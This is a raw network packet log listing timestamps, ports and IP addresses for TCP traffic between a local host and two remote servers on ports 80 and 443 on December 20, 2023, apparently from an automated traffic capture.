Dec 20, 2023 15:35:05.804162025 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:05.804173946 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.030906916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.030934095 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.030947924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.030961990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.030976057 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031001091 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031001091 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031028032 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031044006 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031055927 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031073093 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031086922 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031111002 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031116009 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031131029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031150103 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031169891 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031188011 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031227112 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031240940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031274080 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031315088 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031333923 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031382084 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031398058 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031411886 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031451941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031471014 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031503916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031547070 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031595945 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031615973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031630039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031661034 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031713963 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031728029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031760931 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031806946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031827927 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031852961 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031876087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031914949 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031919003 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.031972885 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.031996965 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032044888 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032078981 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032088995 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032094002 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032115936 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032133102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032159090 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032171965 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032191038 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032212019 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032216072 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032233953 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032247066 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032253981 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032296896 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032346010 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032373905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032388926 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032411098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032419920 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032445908 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032484055 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032502890 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032519102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032536030 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032541037 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032584906 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032586098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032620907 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032639027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032653093 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032665014 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032670021 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032702923 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032748938 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032766104 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032777071 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032802105 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032830000 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.032851934 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032933950 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.032978058 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033035994 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033145905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033185959 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033241034 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033260107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033293962 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033312082 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033340931 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033354044 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033391953 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033396006 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033417940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033431053 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033438921 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033464909 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033471107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033490896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033504009 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033533096 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.033545017 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.033588886 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.040162086 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040182114 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040196896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040244102 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.040246964 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040303946 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.040437937 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040452003 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040473938 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040498018 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.040499926 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.040546894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041085005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041146994 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041161060 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041189909 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041192055 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041207075 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041232109 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041237116 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041270018 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041287899 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041290045 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041307926 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041330099 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041352987 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041397095 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041398048 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041413069 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041455030 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041465044 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041477919 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041491032 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041521072 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041522980 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041553974 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041563034 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041578054 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041613102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041621923 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041661024 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041682005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041704893 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041738987 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041768074 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041781902 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041781902 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041830063 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041834116 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041866064 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041908026 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.041960955 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.041974068 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042009115 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042011976 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042110920 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042150974 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042160988 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042180061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042192936 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042217016 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042224884 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042243004 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042264938 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042293072 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042330027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042332888 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042351961 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042366982 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042390108 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042402983 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042421103 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042448997 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042474031 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042488098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042519093 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042531967 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042571068 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042576075 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042612076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042628050 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042640924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.042654037 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.042681932 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.071295023 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.071400881 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.166659117 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.166676998 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.166965008 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.167042017 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.170336962 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.216736078 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.274144888 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274205923 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274255991 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274267912 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274416924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274435997 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274460077 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274493933 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274534941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274568081 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274636030 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274676085 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274707079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274753094 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274789095 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274796963 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274843931 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274878025 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.274931908 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.274971008 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275007963 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.275057077 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275130987 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275166988 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.275331974 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275392056 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275434971 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.275466919 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275501966 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275542974 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.275633097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275787115 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.275825024 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.275845051 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276010990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276050091 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.276084900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276412010 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276432037 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276457071 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.276508093 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.276549101 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.276582956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277631998 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277673006 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.277682066 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277757883 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277797937 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.277884007 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277911901 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.277950048 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.277997971 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278043985 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278085947 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.278193951 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278225899 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278264046 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.278307915 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278347015 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278387070 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.278707027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278721094 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278759003 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.278808117 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278925896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.278966904 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279020071 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279040098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279077053 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279104948 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279247999 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279287100 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279314041 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279354095 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279395103 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279417038 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279447079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279484987 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279534101 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279557943 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279583931 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279596090 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.279694080 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.279737949 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.280054092 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280113935 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280153036 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.280184984 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280354977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280397892 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.280426025 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280498981 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280527115 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280535936 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.280586004 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.280623913 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.280698061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.281385899 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.281426907 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.281482935 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282510042 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282556057 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.282603025 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282685995 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282722950 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.282733917 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282819033 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.282856941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.282896996 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283054113 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283096075 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283158064 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283220053 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283258915 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283267975 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283298016 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283335924 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283360004 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283390999 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283427954 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283471107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283554077 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283595085 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283790112 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283854008 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283889055 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.283905029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283948898 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.283986092 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.284035921 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284053087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284090996 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.284121990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284244061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284285069 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.284310102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284393072 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284444094 CET	49739	80	192.168.2.4	91.92.253.29
